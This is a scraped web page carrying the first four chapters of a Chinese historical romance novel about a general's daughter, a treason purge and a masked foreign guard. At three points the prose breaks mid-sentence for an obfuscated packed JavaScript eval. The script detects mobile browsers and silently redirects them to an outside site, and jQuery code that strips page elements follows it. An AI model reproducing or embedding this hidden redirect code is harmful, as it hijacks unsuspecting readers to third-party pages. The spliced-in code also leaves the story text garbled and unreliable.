《死对头成了我的侍卫》 1. 噩梦 “大将军黎横天伙同昭王,意图谋逆叛国!今奉圣上之命,前来缉拿抄家,禁军在此,识相的快快束手就擒,否则格杀勿论!” 禁军统领冯硕破门而入,他一声令下,身后近百名官差如猛虎扑食般一拥而上,顷刻间,将军府中所有人被团团围住。 无数柄寒亮的刀刃齐指过来,黎书意的心跳不由加快,紧张到不敢呼吸,她缓慢地后退着,站到了父兄之间。 “小妹别怕!”左侧,兄长黎长策越到她身前,抬手将她护在身后。 右侧,父亲的手已经握上了剑柄,他一面提臂缓缓抽剑,一面轻嘲道:“我黎横天十七岁随侍先帝左右,这些年屡征沙场,为西景肝脑涂地,没成想最后竟落得如此下场……” “铛!”的一声,剑彻底出鞘,庭院里的气氛愈发剑拔弩张,似乎是被当朝大将军的气势震慑住,围绕着他们的兵卒们不约而同地往后退了一小步。 两方便这么僵持着,一时之间,数百人在场的庭院却静得鸦雀无声。 沉默地对峙了片刻,冯硕耐心渐失,他目光阴戾地扫过众禁军,打破寂静厉声喝道:“都愣着干什么,他现在已经不是大将军了,给我听令,今日务必将此叛臣及其家属、党羽一网打尽,不得有误!” 随着话音落下,方才退缩的官差此刻不得不依令行动,他们举刀向前冲去。 望着逼近的霍霍刀光,黎书意的眼皮狠狠一跳,六神无主之际,前方传来兄长的声音:“小妹,跟紧我。” “嗯。”她重重点头,虽然出生武将世家,但她好诗书而非武艺,身上没什么功夫,为了不让父兄分心,她依兄长所言,一步不离地跟在他身后。 短兵相接,兵刃撞击的声音如雷贯耳,尽管府中侍卫们的身手不错,可数量却远不及前来拿人的禁军,不到一刻钟,他们这边便落了下风。 移目四扫犹如困兽的父兄和一众侍卫,黎书意在心底悲哀地呐喊,难道将军府真的要因为莫须有的罪名被灭门吗? 怔愣间,她的手被兄长捉起,他一手握着她,一手持剑与官差们搏斗,并与身边的几名亲信配合,最终成功突破了包围圈,带着她往马厩方向跑去。 到了马厩,兄长吩咐一道而来的侍卫:“展元,你先骑马带着小妹离开,出府后往北城门走,明日我们在弘恩寺会合。” 说到这,他顿了一顿,然后声音变得缓慢而沉重:“若没能按时汇合,你就带她去执明。” 像是在胸口压了块巨石,这番交代令黎书意透不过气来,她不愿抛下父兄,仰着头乞求地唤道:“兄长……” “别怕,”像小时候一样,兄长用手轻抚着她的头,柔声安抚着,“我同父亲一定会活着出来的。” 语罢,他提着尚在滴血的剑利落地转身,然后头也不回地朝前走去。 部分官差已经追了过来,兄长快步迎上前去,他手中长剑盘旋飞舞,洒下寒星万点,以一己之力阻挡如狼似虎的追兵。 “二姑娘,快上马!”黎书意正看着,耳边传来展元的催促。 “快走!”接着是兄长的怒吼声。 她定定站着,望着那道挺拔如松的背影,挣扎良久,最后终于狠心撇过头,然后在展元的帮助下快速跨上了马背。 枣红色的骏马飞驰出府,马蹄如急雨溅落在地面上,她坐在马背上颠簸着,穿过街市,闯出城门,他们进入了城郊的荒山野岭。 肆意生长的杂草和枝节横生的林木让前行的路变得艰难,身后是锲而不舍的追兵,他们不时射来利箭。 行至某一处,一支箭射到了马臀上,马因疼痛而惊叫失蹄,最终黎书意和展元一同跌落在地。 身体几乎被撞得散架,然而黎书意却没时间关心伤口,她挣扎着想要爬起。 展元搭手扶起她,口内叮嘱道:“二姑娘,快往深处走,不要出声,等卑职甩掉了追兵,便立刻来寻您!” “好。”她咬牙站起身来,没时间犹豫,最后看了一眼自己的侍卫,她别过头忍着疼痛往前跑,她不敢回头,就害怕稍微一耽搁,便会被抓住。 她拼命地朝前跑,可双脚到底难抵四腿,无论她怎么跑,始终甩不掉身后的追兵,跑着跑着,便跑到了悬崖边。 她慌忙停下来,脚边有几块碎石朝前滚落,宛如水滴进大海,落得悄无声息,她惊得又朝后退了一步。 “黎二姑娘,怎么不继续跑了?” 惊魂未定,身后传来一道幸灾乐祸的粗粝声音,一转头,黎书意看到了赶来的追兵。 冯硕坐在马上,他居高临下地看着她,嘴角勾起一抹冷淡的弧度道:“你的父兄已死,现在该轮到你了!” 不!黎书意闻言瞳孔猛地一缩,不敢相信自己听到了什么,她想哭,可是喉咙似被棉花堵住了,根本发不出声音。 恍惚间,一抹雪亮的光从眼底划过,她急忙抬起头来,看见冯硕已经下马,他正提着剑朝她走来,犹如地府来索命的厉鬼。 惊惧之下,她下意识向后退去,这一退,一股冷风骤然灌入裙底,提醒着她背后根本无路。 此刻她进退维谷,看了看身后的万丈深渊,以及面前逐步逼近的杀手,她将牙一咬,选择纵身跃下了深渊。 黎家世代忠良,父亲从未有过谋反之心,即便是死,她也绝不愿死在剑下,成为被诛杀的叛党。 劲风如刀,从双颊刮过,风声似雷,在耳旁呼啸,她的身体正止不住地往下坠,生长在绝壁上的草木和青灰色的巨岩从眼前一闪而过。 到了这个地步,她已经彻底认命,只等待着死亡的降临,想看看还有多久才会坠地,她低头向下望去。 地面已经离得很近了,远处衰草连天,近处岩块碎石堆积,中间有一条几近干涸的小溪蜿蜒流淌,摔下去大约会面目全非吧…… 正这般想着,她发现靠近溪流的地方似乎有东西,再仔细辨认,发现那分明是一个仰面躺着的人。 只见他身穿鸦青色锦袍,发髻已乱,几缕乌丝遮住了右边脸颊,身下渗出的鲜血如同一朵绽放的妖冶红莲。 身体还在往下坠,随着距离越来越近,崖下之人的面容也越来越清晰,他肤如凝脂,眉浓鼻挺,长相极其俊美。 待彻底看清了他的样貌,黎书意的心不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545660|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可自抑地紧缩发痛,就在她的身体即将与少年撞上的那一刻,她口中爆发出一声尖叫:“啊!” 黎书意猛然睁开眼睛,胸口剧烈地起伏着,追杀和落崖所带来的恐惧还在心上萦绕。 喘息稍缓,她方才注意到自己身处的环境,见室内昏暗,纱帐如轻烟笼罩在床铺四周,空气中弥漫着熟悉的淡雅香气。 这一切让她反应过来,自己方才是在做梦。 “二姑娘,出什么事了吗?” 门从外推开,一串急促的脚步声快速接近,接着纱帐被掀起,露出一张清秀的脸,来人是她的贴身侍女,兰亭。 “无事,就是做了一个噩梦。”黎书意说着缓缓坐起身。 “又做噩梦了?”小丫头反应过度,担忧地看着她。 不欲多说,她问:“何时了?” “卯时。” “备水梳洗吧。” 待兰亭端着热水进屋,黎书意掀开被子穿好鞋,走到盆架前开始净面,净了面便移步来到镜台前。 菱花镜里,她面色苍白,眼底乌青,整个人无精打采的。 “二姑娘今日想梳什么样的发髻?”兰亭站到她身后,拿起玉梳问道。 兰亭有一双巧手,极富梳头打扮之能,黎书意爱美,对她的手艺格外满意,只是今日实没有打扮的心思,便淡淡道:“简单点就行。” 兰亭动手,将长发梳顺以后轻轻拢起,然后简单绾了一个小巧的发髻,接着从首饰盒里拿出一支碧玉簪插上,发髻绾好,她又问:“衣服呢?” “就杏黄色那身吧,一会我想出去。” “二姑娘要出去?”兰亭闻言抬高声音,旋即她转身去衣柜里找衣服,拿好衣服她折回来,“也是,您都快一个半月未出门了,也该出去走走了。” 黎书意未置一词,从她手上接过衣服道:“剩下的我自己来,你吩咐下头去备马车。” 待穿好了衣服,黎书意开门走出房间。 将军府坐落于内城青氐坊,是一座五进三路的大宅子,她所居的载驰院在宅子西北侧,前方是兄长的玄微院,左侧是父母的尚姜院,尚姜院过去是叔父叔母和几个宗亲的院落,其他家将部曲们则住在外侧靠近马厩和演武场的地方。 因父兄在外征战,如今家中只余她、姑母和黎家军中几位部将的家眷们,显得大而冷清。 到府门外,见车夫已经坐在马车上候着了。 在兰亭的搀扶下,她悠悠登上马车,掀帘在软垫上落坐。 兰亭接着在车厢右边坐下,然后侧过脸问:“二姑娘是要直接去书局吗?” “先去昭王府。”她说。 话音刚落,车里的空气瞬间凝固了,顿了一会,兰亭才轻声对外头的车夫传达了她的话。 小案上摆着一盘点心和一壶刚沏好的清茶,一缕白烟从壶嘴袅袅上升,马车内萦绕着淡淡清香,催得人昏昏欲睡。 昨夜没有休息好,黎书意遂闭目养神,奈何眼睛刚一合上,脑袋里便浮现出梦里崖下坠亡的那个少年的身影。 她认识他,他叫谢烜赫,是昭王的独子。 2. 不合 初见谢烜赫时,黎书意八岁,他十岁。彼时昭王携家小从封地赶来孟章参加太后的国丧,便顺道来将军府拜访。 那一日,为了迎接贵客,府中做了万全的准备,黎书意对客人尤为好奇,因为在见到昭王之前,她便时常听父亲提及这位好友。 临近中午,她在府门口见到了昭王的车驾,繁贵富丽的黑楠木马车停下,最先下车的是一位青年男子,他眉眼立体,鼻梁挺直,整个人平和而端庄。 接着是一名带帷帽的女子,她身上一袭蓝衣,姿态飘逸,翩若轻云出岫。 最后,一个身量与兄长差不多的小男孩跳下马车,他五官精致,长得粉妆玉琢,就像是她房里搁着的搪瓷娃娃一样,看见他的第一眼,黎书意便心生好感,想要接近。 随父母兄长将客人迎进门后,一行人往院子里面走,到了内院,王妃褪下帷帽露出真容,只见她眉横丹凤,玉面淡拂,宛若姑射仙人。 大人们在水榭坐下,四人脸上都洋溢着重逢的喜悦,接着便热烈交谈起来,留他们三个小孩子在一起玩耍。 谢烜赫话少,多是兄长挑起话题,两人说的都是什么功夫、兵器之类的,她不了解,便在旁边安静听着。 后来,兄长说要给谢烜赫看看父亲请人为他锻造的弓箭,然后便转身向自己房里跑去。 看着站在池边的小男孩,黎书意企图搭话,纠结片刻后,她大着胆子接近,可手还未触到小男孩的背,他忽然转过身来,她一个没站稳,最后便跌进了旁边的池塘里。 她不会水,惊慌之下在池塘里一边扑腾一边大叫,幸而近边有小厮跟随,当即下水将她救起。 想着这事怪不着谢烜赫,她没当回事,换了身干净的衣裳继续接近,当时谢烜赫就坐在桌边,手里拿着一块玉佩,她感到好奇,便探头过去。 “这玉好漂亮!”话才说完,见谢烜赫将玉快速收了起来,还扭过头不理她。 两次主动示好都碰了壁,黎书意便不再自讨苦吃了,她朋友多,并不缺这一个。 晚上,两家人聚在一起用饭,黎书意喜欢热闹,看着桌上丰盛的菜色,她笑得眉眼弯弯,等长辈们动筷后,她急忙拿起了筷子。 “这次,会在孟章待多久?”席上,父亲问昭王。 “三个月。” “唉……”父亲闻言叹息,“这些年要见你一面不容易。” “没办法的事。”昭王淡然回道。 席上沉默了片息,忽然,父亲看着安静埋头吃饭的谢烜赫,含笑开口道:“瞧这孩子,多沉静懂事,哪像我家的,一个赛一个调皮。” “你女儿如此机灵可爱,你还不满意?”昭王说着向黎书意看来。 听见夸自己,她心里顿时绽开一朵花,说不出的得意,不过为了显得知书达理,她只好假作矜持,继续举止优雅地吃饭。 这时,又闻昭王道:“话说,当年她出生的时候,我们两家可说过的,等孩子们长大了,就让他们定亲,再过几年,他们年岁也差不多了,可以定下来了。” 定亲,这两个字令她手上的动作顿住,她知道好友林静仪早几年前便定亲了,还曾询问过母亲那是何意,母亲说定亲就是两家人做了约定,等双方小孩长大后便成亲结为夫妻,从此相伴一生。 她听后仍旧懵懂,又追问成亲结为夫妻是什么意思,母亲笑说,就是两个人相互陪伴,相互扶持,一起走完人生的漫长岁月。 想起那些话,她偷偷朝对面看过去,正巧对面的小男孩也抬起头瞧过来,两人的视线便撞在一起。 看着那张冰块一样的脸,她心道她才不要和这样的人生活一辈子呢,那样得多无趣啊。 之后的三个月,昭王偶来府中做客,谢烜赫也跟着来过几回,不过黎书意和他的关系毫无进展,再后来他们一家三口就返回陵光了。 再见时,已过去五年。 按照西景的律法,三品以上的侯爵和官家子弟年满十五后需要入帝都弘学馆学习。 谢烜赫携侍从来孟章的那日,是黎书意陪兄长去迎接的。 虽然这些年自己与他没什么交集,但是兄长却与他一直保持联络,兄长还随父亲去过陵光几次,两人时有书信往来,交情甚笃。 在城门口附近的十里楼干坐了大半个时辰,她终于见着了少年时期的谢烜赫。 他身材挺拔,穿一身鹊羽色锦袍,如墨长发以绸带系之,肤色冷白似玉,上挑的凤眸幽深如潭,纤薄的粉唇微微抿着。 面前之人的容貌与记忆里的小男孩逐渐对上,只脸部线条变得更分明了,眉宇间萦绕着凌厉清冷的气息,显得愈发不好接近了。 落座之后他与兄长闲聊起来,黎书意难以介入两人的话题,便百无聊赖地坐着。 过了一会,侍卫绿沉来报,说是太子殿下来了。 兄长是太子的伴读,谢烜赫是太子的堂弟,坐下以后三人倒是有话可说。 而黎书意,当时她与太子刚定情不久,正是话说不完的时候,尽管这下她没被冷落了,可桌上的气氛却意外地不如先前松快。 再见之后,对于这位世交之子和兄长之友,黎书意原是抱着交好的打算的,可惜天不遂人愿,或许他俩八字不合,谢烜赫看不惯她招摇的做派,她亦不喜他的疏冷难近,两人关系便越渐差了。 黎书意本以为这种互看不顺眼的情况会持续到谢烜赫离开孟章的,可是没想到近来她却时常惦念他。 “吁!”耳边传来车夫勒马的声音,紧接着黎书意的身子跟随马车轻微地朝前一晃,飘远的思绪就这么被打断,她睁开了眼睛。 待马车安稳停下后,兰亭起身挑开车帘,然后朝她伸手,她躬身下车,踏着马凳双脚慢慢落到地面上。 在这条南北纵横巷道的左侧,矗立着一座宽阔高大的府邸,几乎占了半条街,这里是昭王府。 黎书意面对大门而站,王府的府门厚重,顶覆琉璃瓦,脊安吻兽,两侧分列两尊栩栩如生的石狮,朱红大门上鎏金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545661|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门钉排列整齐,只是门上贴着封条,昭示着路人不得入内。 因常久无人打理,朱门上落了一层薄灰,掩盖了它原本鲜亮的颜色,看起来有几分陈旧,院墙的瓦上青苔和杂草丛生,有几只鸟正在上面叽叽喳喳地叫唤,当真满目凄凉。 而在半年前,这里常有勋贵子弟到访,她不由想起了造成这种转变的原因,想起了那几日的腥风血雨。 今年年初,从陵光传来一封密信,据线人所言,在乌金发起起义的头领王宁实际上是昭王的人,他之所以鼓动农民揭竿,是为了给昭王的谋反大业开路。 经查证,最终证实了王宁的确曾出现在昭王府几次,于是圣上立刻派陵光的监察御史韩俊和折冲都尉吕昇上府搜查,并命禁军统领冯硕缉拿刚回孟章准备上学的昭王世子。 当禁军抵达帝都昭王府时,谢烜赫已经得到了风声,早半个时辰前便逃了,冯硕找人不见,当即派人在全城范围内展开搜寻,当夜城中鸡犬不宁。 隔天清晨,传出最新情报,说是在城郊荒山发现了世子的踪迹,禁军先射中其坐骑,再杀死其侍卫,而谢烜赫本人,他在逃亡途中因反抗不慎在打斗过程中坠崖了。 为了确认身份,冯硕当即便派人下崖展开搜寻,历时半日最终找到了一具脑浆崩裂、死状惨烈的尸骸,虽面目全非,但根据身形、穿着和信物比对,确是谢烜赫无疑。 望着面前正在一点点变破败的王府,黎书意不禁一阵鼻酸,她虽然讨厌谢烜赫,可从没想过他的下场会是这样的…… 鲜衣怒马的少年郎,本该在朝堂在沙场一展身手,而不是在最美好的年纪上因为莫须有的罪名受牵连而死。 是的,对于昭王叛乱之事,黎书意始终持怀疑态度,昭王乐善好施,知人善用,在西景素有美名。 况且,自先帝驾崩之后,他便自请回封地,从此偏安一隅,他施政宽柔相济,在他的治理下,陵光百姓安居乐业,这样一个无欲争权的人又怎会毫无征兆地起兵谋反呢。 “二姑娘,我们该走了。” 感伤之际,耳畔传来兰亭的提醒,黎书意从悲伤中抽离。 尽管昭王之乱已过去将近半年,然而全民依旧谈之色变,避之不及,唯恐会牵累自己,而将军府是最该避嫌的,毕竟众人皆知,大将军黎横天和昭王乃是莫逆之交。 “走吧。”最后望了一眼冷清的府邸,黎书意到底转了身。 她知道自己今日的行为很不妥,然而受噩梦侵扰,她实在忍不住,所以才想着来看看。 说毕,她不再耽搁,走到马车前踩着马凳踏上了车。 在软垫上坐好,不多时马车缓缓动了起来,因着这条街太过安静了,车轮滚动发出的辘辘声显得特别清楚。 风吹起车窗帘,黎书意透过缝隙目光黯然地看着无人的深巷。 恍惚间,视线里掠过一片深色衣袂,她待要细看,只眨了一下眼的工夫,却发现那里空无一物,她疑惑,心想大约是自己看岔了。 3. 凯旋 车轮滚动,渐渐驰出深巷,汇入到闹市之中,大街上人烟阜盛,说话声不绝于耳,黎书意的心情渐渐明朗起来。 行了两刻钟,马车停下,她从车上下来。 面前是一栋两层楼的商铺,门面上方挂着黑底贴金字的匾额,写的是“文心书局”。 店外置一块木招牌,招牌上铺了一张纸,纸上列举了书局新上架或者热卖的书籍,有大家新作,也有话本新卷。 黎书意踏上台阶步入店中,只见堂内整齐地排列着无数与人齐平的书架,书架上面堆满了各色书籍,顶层挂着经史子集、诗词歌赋、历史演义、英雄传奇等提示挂牌。 作为这里的常客,她不需要人带路,径直往目的地英雄传奇那边走去。 刚来到书架前,就闻兰亭欣喜叫道:“二姑娘您看,只剩下这么几本了。” 黎书意的目光落在空了大半的书架上,只见书架上整齐排列着十来本白色书皮的书籍,书皮中央绘有一幅人物画。 画上一位身形瘦弱之人身着儒衫,面向广袤山川立于山巅之处,书皮右上角写着话本名“学崖”,左下角处是书者名“墨含”。 她待要拿起书来一观,还未来得及动作,一道柔媚的声音传了过来,话者语带讽刺道:“哟,咱们孟章的第一才女竟也会对这种俗书感兴趣吗?” 黎书意闻声移目,然后便看到了一个穿绸裹缎的俏丽少女,她面若满月,柳眉星眼,唇如丹霞,来人正是大鸿胪之女唐婉娇。 在孟章,一共有两个人与黎书意不对盘,一个是谢烜赫,另一个便是眼前这位了。 每逢遇见,唐婉娇少不得要说自己两句,对于她的言语针对,这么多年黎书意早就习惯了,那些话一点攻击力都没有,大多时候她是置之不理的,偶尔心血来潮也会同其掰扯个几句。 今日,恰逢她心情不好,需要释放,于是她露出一个微笑,把手伸到书架上,在唐婉娇的注视下拿走了最外侧的那本书,并呛道:“谁说我不看的,不止这个,什么历史演义、英雄传奇、怪力乱神、公案小说、烟粉小说,我都看,怎么,不可以吗?” 唐婉娇闻言一噎,一时找不到话来反驳,最后冷哼一声往别处去了。 欣赏完她吃瘪的表情,黎书意晃动着手里的书籍,这本书的内容恐怕没有人比她更清楚的了。 算了,她微微耸肩,就当是为了兄长绘制的封皮吧,这么想着她径直走向柜台。 书局生意兴隆,柜台处有三五人等着付钱,黎书意排到队伍最末端,柜台里侧,书局老板正在招呼客人。 他算账收银的动作娴熟,如果没人说,谁会想到这个商人是一个精通诗词书画的大才子呢。 他名叫苏或雍,原任屯田员外郎,然而年及弱冠时却经历了入狱和贬谪,仕途坎坷,大约因为心灰意冷了,最后索性辞官经商,开了这家文心书局。 他是黎书意非常钦佩的人。 等前一位付账离开,她走上前一步。 见到她,苏先生笑着招呼道:“黎二姑娘有段时日没来光顾了。” “最近懒出门。”黎书意回话,实际上她是因为父兄在外征战,没有心思闲逛。 寒暄完,她将书向苏先生一亮,问价道:“多少?” “两文。” 价格报完,站在她身后的兰亭已经从荷包里捞钱递上。 “这书下卷的销量比上卷还要好,上旬一共卖出了五百册。” 待要离开,听见这话她顿住脚步。 作为孟章城数一数二的书局,文心书局集编印售于一体,书商与文人乃是合作关系,推销合情合理。 她看了苏老板一眼,好奇心顿生,便问:“苏先生不会觉得此书不雅吗?” “不会。”苏先生摇头。 “那苏先生对女子女扮男装入学的看法如何?” “求学无门不得已而为之。” 苏先生说这话时表情真挚,大约是因为他出身寒门,所以有几分感同身受在吧。 闲话说完,黎书意点头离开。 走到门口,她又给唐婉娇拦了去路,瞥一眼挡在面前的华服女子,她在心底叹气,这是刚才没占到她的便宜,所以想找补回来? “你想说什么?”她问。 唐婉娇红唇一勾,意味不明道:“太子殿下在元贵逗留快一个月了吧?” 一听这话,黎书意开玩笑的心情顷刻间消失了。 唐婉娇脸上笑容扩大,看好戏似地问道:“听闻太子殿下与庞将军的女儿正四处游玩,你就不担心?” “跟我无关。”言毕,她越过唐婉娇离开了,将叫喊声抛在后头。 “二姑娘,您没事吧?”兰亭追上来问。 “无事。”她摇摇头,旋即登上了马车。 尽管近来甚少出府,但谢煜然与庞悦瑛的事她已有耳闻,结合这半月未曾收到谢煜然的一封书信来看,她已经意识到了什么。 黎家与庞家都是西景的开国功臣。东景末年,朝□□败、国力衰弱,各地豪强纷纷组建私人武装割据。 东景宗室谢承佑趁势而起,他是祖皇六世孙,有强大的号召力,庞家与黎家先祖是其手下主要将领,他们以光复景朝为号,收复各州郡。 历经十数年混战,随着诸多势力的兼并与消亡,最后剩下谢承佑、王缪和百里渊三大势力。 建兴四年,景和帝被王缪诛杀,东景亡。次年,王缪在碧梧称帝,国号白榆;次年百里渊在伊洛称帝,国号丹霄;同年,谢承佑在孟章称帝,因他是东景宗室,故新政权延续“景”的国号,称作西景。 建国后,庞家先祖封信国公,黎家先祖封忠勇候,然六十年过去,随着推恩和新贵的崛起,两家荣光渐失。 黎家因父亲受先帝赏识得以重振,庞家却一直碌碌无为,直至乌金起义,怀化大将军庞安澈平叛有功连升四级,获封骠骑将军,位在父亲之下。 黎书意明白圣上这是想扶持势力制衡父亲,然而她还是想得太少了,圣上对将军府的猜测忌惮已经到了容不下她做谢煜然的太子妃。 比起她来,太子妃的人选他们更青睐于庞悦瑛,令人失望的是谢煜然竟然妥协了,这逗留元贵月余便是最好的证明,她被放弃了。 这样也好,从前她太过单纯,不懂得与太子在一起对于将军府意味着什么。 现在她懂了,她不想父兄的生命时刻受威胁,他谢煜然选择了皇权,那她黎书意便选择家人,这段少女情事也当结束了。 …… 清晨,东方刚有曙色,整个将军府便忙开了,小厮们清扫院落,侍女们打扫房间,屋里屋外都变得整洁干净。 黎书意与管事富春姑姑站在院中,她看着仆人们忙进忙出,心里激动不已。 今日父兄凯旋归家,已经半载未见,她希望他们到家时如同从未远离一样。 “父亲喜欢的芍药可摆到他卧房了?” 富春姑姑笑道:“摆了。” 她点头,又补充一句:“兄长爱吃樱桃,别忘了备好。” “二姑娘,都已经准备好了。”兰亭回道,语气里透着无奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545662|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 黎书意知道自己有些紧张过头了,但是她实在是太想念父兄了,没有人知道她这半年是怎么过的。 昭王之乱才过去没几日,安士就传来急报,楼宛兴兵南下,已攻破附属小国,直指西景边境,父亲被派去平乱,一同去的还有年方十七的兄长。 从在城门送走了他们,她便战战兢兢的,每天都渴望战报快些来,可当战报真的来了,她又不敢看不敢听,生怕得到父兄受伤或是战败的消息。 她数着日子渡过,煎熬了这许久,如今他们总算要回来了,她如何能不激动。 独自用过午饭,她移步到院中的凉亭闲坐,一边吹风一边等待。 她本打算去城门口亲自迎人的,但是父亲在信上说此次出征历时半载,有许多事需要向陛下交代,恐怕不到傍晚不会回家,叫她在家里安心等着便好。 申时,外头传来动静,百姓们的欢呼即使隔了几个坊,依然能听见,叔母来院中找她,两人克制着激动和焦急的情绪,心不在焉地闲聊着。 坐到日头偏西,黎书意听到了徐徐接近的马蹄声,紧接着就见兰亭来报:“二姑娘,赵夫人,大将军、黎副将和少将军就快到了!” “走,我们去门口迎接。”闻言,黎书意和叔母急忙起身,她步子仓促,若不是顾忌着身份,她都想用跑的。 等到了门口,发现巷子两侧站满了人,他们都是附近的居民,从前父亲每次出征回来,百姓们也是这般夹道欢迎的。 铁蹄踏地与盔甲碰撞的声音逐渐逼近,黎书意闻声侧头去看,远远地就看见出现在巷口的父兄。 父亲居中位,右侧是兄长,左侧是叔父黎裕,后面是一众家将部曲。 看见那两张日思夜想的熟悉脸庞,黎书意控制不住地鼻酸眼热,她定定地站在门口,望着队伍一点点靠近。 在父亲的战马云奔稳健地停在门口时,她再也忍不住,急忙走下台阶,在父兄下马的同时站到了两人面前。 “父亲,兄长!”她带着哭腔喊道。 她的视线从父亲脸上慢慢转到兄长脸上,不放过每一个细节,将两人仔细看过。 塞外风沙大,父亲的脸明显比离开时粗糙了几分。兄长亦是如此。 不过,令黎书意惊讶的非是兄长的面貌,而是他的气场,他虽从小习武,但性格温雅,如今却浑身隐约散发出一股凌厉之气。 半年的时间,他已经从锦衣玉食的世家子弟蜕变成一名真正的将士了,这当中到底经历了多少,黎书意不得而知。 旁边,叔母也正与叔父说着话。 就在一家人正执手相看时,一道尖细的嗓音响起:“大将军,奴家先将封赏送进去。” 闻言,黎书意侧头,然后便看见了皇帝身边的内侍赵让,他身后跟着长长的队伍,她赶忙让步。 挪身的刹那,她在黎家军的队伍侧翼瞥见了几个身穿胡服的男女,父亲仁厚,行军打仗途中,时常接济难民,碰到无归处的便会带回家中安顿。 这些收容解救的孤儿、流民和奴隶入府后会根据自身能力及其意愿来分配,成为仆人和侍卫。 事实上,家中半数以上的下人就是这么来的,这不稀奇,她从前甚少在意。 今次会注意到,是因为她在这当中发现一人鹤立鸡群,他身材高大挺拔,穿一件纹样独特繁复的褐色圆领袍,头顶着棕色的编辫披发,上半张脸戴一张银色雕纹面具,只露出线条流畅的下巴。 让黎书意在意的不止是他的打扮和银面,还有他的身形,实在像极了一人。 4. 侍卫 因为惊讶,黎书意一时失去了反应,只呆呆地注视着那人,直到那人察觉到了她的视线,瞥了过来,她才匆忙地移开目光。 兄长注意到她的异常,解释说:“他们都是安士都护府官员的亲眷,因亲人已经在战争中丧生,所以便决定重返故乡,在没彻底安顿好之前,会暂时留在府里。” “哦……”她愣愣点头。 “个子最高戴面具的那个叫时野,是前都护府司马之子,与我同岁,他曾在战场上救过我,你待他客气些。” “嗯。”她应声,没再多说其他,转身与父兄一起进门了。 “黄金万两!” “帛百匹!” …… 耳畔是赵公公报封赏的尖亮嗓音,一件件精美的器物从黎书意眼前经过,最后他们通通被放到了外院的空地上。 良久,等封赏悉数抬入,赵公公朝他们走过来,含笑抬手行礼道:“赏赐已经送到,咱家该回去向圣上复命了,这便辞过大将军和小侯爷。” 小侯爷?陌生的称呼令黎书意一惊,她挑眉看向兄长,两月前曾从安士传回战报,言兄长立下军功。 那是修整后的第二次出塞,父亲指挥叔父、兄长等六位将领分六路出击,其中兄长率领数百黎家军轻骑追击安士敌军数百里,最终斩获了两千余俘虏,其中不乏权贵。 刚得到消息时,她便知道兄长必有重赏,可是封候还是出乎她的意料了,到底是在人前,她不好表露太多。 直到赵公公带着宫人们离开,叔父与叔母相携回院,一干家将们也都散开自行安置了,黎书意方侧过头,含笑看着她的兄长,打趣地唤了一声:“小侯爷!” “别闹。”黎长策闻声轻斥。 “婠婠,过来!” 婠婠是黎书意的小名,是她的母亲姚锦一取的,姚氏出生书香门第,擅长诗文,希望女儿内外兼修、优雅多姿,故取了此名。 兄妹俩正在谈笑,忽听见父亲叫自己,黎书意遂偏转过头,只见父亲带着那名戴银色面具的少年朝他们走来,她顿时敛了笑容,狐疑地看着二人。 刚才人多口杂,她不敢表现出半分对这异族少年的好奇,纵使心里满肚子疑惑,也尽力忍着,此时人群尽散,好奇心便又重新冒头,瞥一眼那张面具,她试探地问道:“父亲,他……” 奈何话才起了个头,就被父亲截断了,他拍着异族少年的肩对她道:“以后就由他来做你的侍卫。” “我的侍卫!”她反应不及,惊呼出声,连要问的话也给冲忘了。 十二岁那年,有一回她上街游玩时曾遇见一歹人,那莽汉见她孤身一人,便欲图将她强行掳走,幸得路人撞见相救,才没有酿成大祸。 待她安全回到家中,家里正在派人四处寻她,父母听闻她差点被掳走,一阵后怕,斥了她一顿,便命府中侍卫长来护卫她的安全。 侍卫长名叫展元,是一个身形魁梧、个性直爽的年轻男人,他在她身边待了三年多,直到这次安士突发战事,他随黎家军一起出征了。 不仅如此,因他在军中表现不俗,早就晋升为昭武校尉,自然不能再做她的侍卫了。 黎书意打量着高出她一个头还多的少年,因那半张银面的阻挡,所以除了锋利的下颌和那双漆黑的瞳仁以外,她再看不到其他的细节。 由于比对不出更多的相似之处,她也不敢认,便只好道:“我知道了。” 想着父兄入城面圣,舟车劳顿,还未来得及歇息,她又道:“父兄一路辛苦,先去休息吧,我吩咐厨房备了你们爱吃的菜,晚上就为你们接风洗尘。” 黎横天含笑点头道:“半年未归,确实有点想念家中的饭菜。” “确实。”黎长策附言。 说着两人前后脚离开了。 见父兄各自往自己院落走去,黎书意将目光移到面前的少年身上,审视地盯视了一会,才开口问:“听兄长说你父亲是安士都护府司马?” “是。”少年应道。 这不是谢烜赫的声音,他声如冷玉,清脆悦耳,而这道声音则低沉沙哑,不过并不难听,反而有另一种美感。 